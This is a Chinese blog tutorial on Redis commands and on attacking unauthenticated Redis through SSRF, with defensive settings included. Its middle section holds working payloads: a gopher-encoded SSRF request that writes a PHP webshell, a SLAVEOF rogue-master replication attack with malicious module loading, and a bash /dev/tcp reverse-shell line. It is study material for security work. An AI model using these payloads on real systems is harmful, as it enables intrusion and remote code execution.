基础知识《Redis解析》

Redis 详细解析与介绍

Redis(Remote Dictionary Server)是一个开源的高性能键值对(Key-Value)数据库,支持多种数据结构(如字符串、哈希、列表、集合等),广泛应用于缓存、消息队列、实时数据分析等场景。

核心特点:
  1. 内存存储:数据主要存储在内存中,读写性能极高(10万+/秒 QPS)。
  2. 持久化支持:支持 RDB(快照)和 AOF(追加日志)两种持久化方式。
  3. 多数据结构:支持字符串、哈希、列表、集合、有序集合等。
  4. 单线程模型:避免锁竞争,通过异步I/O处理高并发。
  5. 高可用与集群:支持主从复制、哨兵模式(Sentinel)和集群模式(Cluster)。

Redis 常用命令大全

1. 通用命令
命令说明示例
KEYS pattern匹配所有符合模式的键KEYS user:*
DEL key删除指定键DEL user:1
EXPIRE key seconds设置键的过期时间(秒)EXPIRE user:1 60
TTL key查看键剩余过期时间TTL user:1
TYPE key查看键的数据类型TYPE user:1
2. 字符串(String)
命令说明示例
SET key value设置键值SET name "Alice"
GET key获取键值GET name
INCR key键值自增1INCR counter
APPEND key val追加字符串APPEND name " Smith"
3. 哈希(Hash)
命令说明示例
HSET key field val设置哈希字段值HSET user:1 name "Alice"
HGET key field获取哈希字段值HGET user:1 name
HGETALL key获取所有字段和值HGETALL user:1
4. 列表(List)
命令说明示例
LPUSH key val从列表左侧插入元素LPUSH tasks "task1"
RPOP key从右侧弹出元素RPOP tasks
LRANGE key s e获取列表范围元素LRANGE tasks 0 -1
5. 集合(Set)
命令说明示例
SADD key member添加元素到集合SADD tags "redis"
SMEMBERS key获取集合所有元素SMEMBERS tags
SINTER key1 key2求两个集合的交集SINTER tags1 tags2

SSRF漏洞利用与Redis相关命令

什么是SSRF?

SSRF(Server-Side Request Forgery)是攻击者诱使服务器向内部或第三方系统发起恶意请求的漏洞。结合未授权访问的Redis服务,攻击者可通过SSRF执行高危操作。

Redis SSRF利用场景
  1. 目标环境

    • Redis未设置密码(默认无认证)。
    • Redis服务暴露在内网或公网(默认端口6379)。
  2. 攻击步骤

    • 探测Redis服务:通过SSRF访问 http://victim.com/ssrf?url=redis://内网IP:6379
    • 执行恶意命令:利用Redis协议发送命令,如写入Webshell、反弹Shell等。
高危Redis命令与利用

以下命令常被用于攻击:

命令利用场景
FLUSHALL清空所有数据,为后续攻击做准备。
CONFIG SET dir /path设置Redis持久化目录(如Web目录)。
CONFIG SET dbfilename设置持久化文件名(如写入Webshell shell.php)。
SET key "恶意代码"写入恶意内容到数据库。
SAVE触发持久化操作,将数据写入文件(如生成Webshell)。
MODULE LOAD /path.so加载恶意Redis模块(需提前上传)。
SLAVEOF host port设置主从复制,从恶意服务器同步数据(用于RCE)。
EVAL "lua脚本" 0执行Lua脚本(可能用于漏洞利用)。
攻击案例:通过SSRF写入Webshell
# 通过Gopher协议发送Redis命令(需URL编码)
GET /ssrf?url=gopher://redis-server:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$5%0d%0ashell%0d%0a$23%0d%0a%3C?php%20system($_GET[cmd])?%3E%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0aSAVE%0d%0a
防御措施
  1. Redis安全配置

    • 设置密码认证(requirepass)。
    • 禁用高危命令(通过 rename-command 重命名或禁用)。
    • 限制绑定IP(bind 127.0.0.1)。
  2. SSRF防护

    • 校验用户输入的URL,禁止访问内网IP和敏感端口。
    • 使用白名单域名/IP限制请求目标。

Redis 主从复制攻击详解整合

主从复制攻击原理

Redis 主从复制(Replication)机制允许从节点(Slave)同步主节点(Master)的数据。攻击者可利用此特性,强制目标Redis作为从节点连接到攻击者控制的恶意主节点,通过同步恶意数据(如加载动态模块或写入Webshell),最终实现远程代码执行(RCE)。

攻击前提条件
  1. Redis未授权访问:目标Redis无密码认证或密码被破解。
  2. SSRF漏洞存在:可通过SSRF触发Redis协议交互(如gopher://dict://)。
  3. 目标Redis支持模块加载(4.x以上版本)或允许文件写入(如Web目录可写)。
攻击步骤与命令
1. 准备恶意主节点
  • 使用工具搭建恶意Redis主节点(如Redis Rogue Server):
    python3 redis-rogue-server.py --rhost <目标IP> --rport 6379 --lhost <攻击者IP> --lport 21000
    
    • 该工具会自动生成恶意模块(.so文件),通过主从复制同步到目标Redis。
2. 强制目标Redis成为从节点

通过SSRF发送SLAVEOF命令,将目标Redis设置为恶意主节点的从节点:

# 通过Gopher协议发送SLAVEOF命令(需URL编码)
GET /ssrf?url=gopher://target-redis:6379/_*3%0d%0a$8%0d%0aSLAVEOF%0d%0a$<攻击者IP长度>%0d%0a<攻击者IP>%0d%0a$5%0d%0a21000%0d%0a
  • 关键命令SLAVEOF <攻击者IP> <端口>
3. 数据同步与恶意模块加载
  1. 目标Redis连接恶意主节点后,自动同步数据。
  2. 恶意主节点发送包含恶意模块(如exp.so)的备份文件。
  3. 通过MODULE LOAD命令加载恶意模块,执行任意命令:
    MODULE LOAD ./exp.so
    system.exec "id"  # 通过模块函数执行系统命令
    
自动化利用工具
  • Redis Rogue Server:一键化主从复制攻击工具,支持RCE。
  • Redis SSRF Exploit:通过SSRF直接发送Payload,无需公网IP。
防御措施
  1. 禁用高危命令
    redis.conf中禁用SLAVEOFMODULE相关命令:
    rename-command SLAVEOF ""
    rename-command MODULE ""
    
  2. 启用认证
    强制使用密码访问:
    requirepass <强密码>
    
  3. 网络隔离
    • 限制Redis仅监听内网(bind 127.0.0.1)。
    • 防火墙规则禁止外部访问Redis端口(6379)。
  4. 最小化模块功能
    非必要场景禁用Redis模块加载。
攻击案例演示
  1. 场景:存在SSRF漏洞的Web应用,内网Redis未授权访问。
  2. 利用
   # 通过SSRF发送SLAVEOF命令http://vuln-web.com/ssrf?url=gopher://127.0.0.1:6379/_*3%0d%0a$8%0d%0aSLAVEOF%0d%0a$14%0d%0a192.168.1.100%0d%0a$5%0d%0a21000%0d%0a
  1. 结果:目标Redis加载恶意模块,攻击者执行system.exec "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"反弹Shell。

Redis 模块管理

一、模块管理命令
  1. MODULE LIST
    查看当前已加载的所有模块,返回模块名称、版本及描述信息。例如:

    MODULE LIST
    

    该命令常用于确认模块是否加载成功。

  2. MODULE LOAD <path> [arg1 arg2 ...]
    动态加载指定路径的模块(.so文件),支持传递参数到模块的 RedisModule_OnLoad 函数。例如:

    MODULE LOAD /path/to/my_module.so arg1 arg2
    

    参数会通过 argvargc 传递给模块的初始化函数 。

  3. MODULE UNLOAD <module-name>
    卸载指定名称的模块(需使用模块注册时的名称,而非文件名)。例如:

    MODULE UNLOAD my_module
    

    若模块定义了 RedisModule_OnUnload 函数,卸载时会自动调用该函数进行资源清理 。

二、配置文件加载模块

在 Redis 启动时通过 redis.conf 配置文件加载模块:

loadmodule /path/to/module.so [arg1 arg2 ...]

此方式适合生产环境,确保模块随 Redis 服务启动自动加载。


Redis CONFIG SET 命令的核心功能、用法及注意事项

一、命令功能

CONFIG SET 允许在 Redis 不重启 的情况下动态修改服务器配置参数,适用于调整内存限制、持久化策略、日志行为等场景。
主要特性

  1. 实时生效:修改的参数会立即加载并影响后续操作。
  2. 支持参数广泛:涵盖大多数 redis.conf 中的配置项(如 maxmemorysaveappendonly 等)。
  3. 灵活性:支持从 RDB 快照切换为 AOF 持久化,或同时启用两者。
二、语法与基本用法
语法
CONFIG SET parameter value [parameter value ...]  
  • 单参数设置CONFIG SET maxmemory 4gb
  • 多参数设置(Redis 7.0+):CONFIG SET maxmemory 4gb save "900 1 300 10"

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/73460.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

区跨链知识和概念

1、以太坊 Geth 源码解析 Geth&#xff08;Go Ethereum&#xff09;是以太坊官方提供的 Go 语言实现的客户端&#xff0c;广泛用于以太坊全节点运行、挖矿、DApp 开发等。理解 Geth 的源码有助于掌握以太坊区块链底层逻辑&#xff0c;如区块同步、EVM 执行、P2P 交互等。 2、…

Vue 计算属性与 Data 属性同名问题深度解析

文章目录 1. 问题背景与核心概念1.1 Vue 响应式系统架构1.2 核心概念定义 2. 同名问题的技术分析2.1 同名场景示例2.2 问题发生机制 3. 底层原理剖析3.1 Vue 初始化流程3.2 响应式系统关键代码 4. 问题解决方案4.1 最佳实践建议4.2 错误处理机制 5. 性能影响分析5.1 递归调用性…

Mybatis——基础操作、动态SQL

目录 一.基础操作 1.删除 2.新增 3.更新 4.查询 5.XML映射文件 二、动态SQL 1.<if> 2.<where> 3.<set> 4.<foreach> 5.<sql> 6.<include> 一.基础操作 1.删除 参数占位符&#xff1a; 注意&#xff1a; #{...}相比于${...}…

[设计模式]1_设计模式概览

摘要&#xff1a;设计模式原则、设计模式的划分与简要概括&#xff0c;怎么使用重构获得设计模式并改善代码的坏味道。 本篇作概览与检索用&#xff0c;后续结合源码进行具体模式深入学习。 目录 1、设计模式原理 核心原则&#xff08;语言无关&#xff09; 本质原理图 原…

C语言数据类型取值范围及格式化符号

一、数据类型取值范围与格式化输出符号表格 数据类型大小&#xff08;字节&#xff09;取值范围格式化输出符号char1-128到127<br>或0到255&#xff08;如果声明为unsigned char&#xff09;%c (字符)<br>%hhu (无符号)signed char1-1.2810到1.2710%hhd (有符号)u…

2024华东师范大学计算机复试上机真题

2024华东师范大学计算机复试机试真题 2023华东师范大学计算机复试机试真题 2022华东师范大学计算机复试机试真题 2024华东师范大学计算机复试上机真题 2023华东师范大学计算机复试上机真题 2022华东师范大学计算机复试上机真题 在线评测&#xff1a;传动门&#xff1a;pgcode…

星越L_内后视镜使用讲解

目录 1内后视镜角度调节 2,防炫目功能

Spring Boot应用首次请求性能优化实战:从数据库连接池到JVM调优

目录 问题现象与背景分析性能瓶颈定位方法论数据库连接池深度优化Spring Bean生命周期调优JVM层性能预热策略全链路监控体系建设生产环境验证方案总结与扩展思考1. 问题现象与背景分析 1.1 典型问题场景 在某互联网金融项目的Spring Boot应用上线后,运维团队发现一个关键现象…

【深度解析:以“不要的心态”获取所求的本质逻辑】

深度解析&#xff1a;以“不要的心态”获取所求的本质逻辑 一、文化基因&#xff1a;礼让传统与权力合法性的双重编码 儒家伦理的深层渗透 孔子提出"礼之用&#xff0c;和为贵"&#xff0c;将"辞让"纳入"仁义礼智信"的道德体系。《礼记》明确记…

C++【类和对象】(结束篇)

C类和对象 1.static成员2.友元3.内部类4.匿名对象5.对象拷贝时的编译器优化 1.static成员 用static修饰的成员变量叫做静态成员变量&#xff0c;静态成员一定要在类外进行初始化。静态成员变量为所有类的共享&#xff0c;放入静态区&#xff0c;不属于某个具体对象&#xff0c…

每日一题---腐烂的苹果(广度优先搜索)

腐烂的苹果 给定一个 nm nm 的网格&#xff0c;其中每个单元格中可能有三种值中的一个 0 , 1 , 2。 其中 0 表示这个格子为空、1 表示这个格子有一个完好的苹果&#xff0c;2 表示这个格子有一个腐烂的苹果。 腐烂的苹果每分钟会向上下左右四个方向的苹果传播一次病菌&…

maven笔记

maven介绍和作用 Maven 是一款为 Java 项目构建管理、依赖管理的工具&#xff08;软件&#xff09;&#xff0c;使用 Maven 可以自动化构建、测试、打包和发布项目&#xff0c;大大提高了开发效率和质量。 主要作用的理解&#xff1a; 依赖管理&#xff1a; 在编写项目时我…

模板-C++提高编程

C的一种编程思想称为泛型编程&#xff0c;用到的技术就是模板 C提供两种模板&#xff1a;函数模板和类模板。 1.函数模板 1.函数模板作用 建立一个通用函数&#xff0c;其返回值类型和形参类型可以用一个虚拟的类型来代替,提高代码复用性&#xff0c;将类型参数化。 2.语法…

基于Asp.net的物流配送管理系统

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏&#xff1a;…

顺序表和链表的对比(一)

前言 今天给小伙伴们分享的是在数据结构中顺序表和链表的对比。它们在计算机科学和软件开发中具有广泛的应用&#xff0c;是理解更复杂数据结构&#xff08;如栈、队列、树、图等&#xff09;的基础。这次将会给大家从定义初始化&#xff0c;以及功能增删查改上进行详细对比&a…

星越L_外后视镜使用讲解

目录 1.外后视镜调节 2后视镜折叠 3.后视镜加热 1.外后视镜调节 L控制左边后视镜调节,上下拨动调整视野,一般此镜左右21分,上下55开。 R控制左边后视镜调节,上下拨动调整视野,一般此镜左右13分,上下55开。 2后视镜折叠 车辆解锁自动展开 车辆关闭自动折叠 严寒天气…

DevOps实践:持续集成与持续部署完全指南

文章目录 引言&#xff1a;从人工到自动化的进化革命一、CI/CD核心认知升级1.1 持续集成 vs 持续部署 vs 持续交付1.2 中小团队为什么要实施CI/CD&#xff1f; 二、CI/CD工具链选型指南2.1 中小团队推荐技术栈2.2 工具对比决策矩阵 三、实战五步构建企业级流水线3.1 基础环境搭…

【数据结构】数据结构,算法 概念

0.本篇问题&#xff1a; 数据、数据元素、数据对象、数据项之间的基本关系&#xff1f;ADT是什么&#xff1f;数据结构的三要素&#xff1f;数据的逻辑结构有哪些&#xff1f;数据的存储结构有哪些&#xff1f;算法的五个特征&#xff1f;O(1) O(logn) O(n^n) O(n) O(n^2…

同步Oracle及mysql至KADB的KFS配置文件参考

Oracle源端flysync.ini文件 注意&#xff1a;oracle用户名大写 mysql源端flysync.ini文件 附&#xff1a;目标端KADB的flysync.ini文件 [m_kes_3113] 源端为KES kufl-port3113 datasource-typekingbase rolemaster replication-host10.4.43.53 replication-port54321 …

PECL(Positive Emitter-Coupled Logic)电平详解

一、PECL电平的定义与核心特性 PECL&#xff08;正射极耦合逻辑&#xff09;是一种基于 射极耦合逻辑&#xff08;ECL&#xff09;技术 的高速差分信号标准&#xff0c;采用 正电源供电&#xff08;如5V或3.3V&#xff09;。其核心特性包括 高速传输、低噪声、强抗干扰能力&am…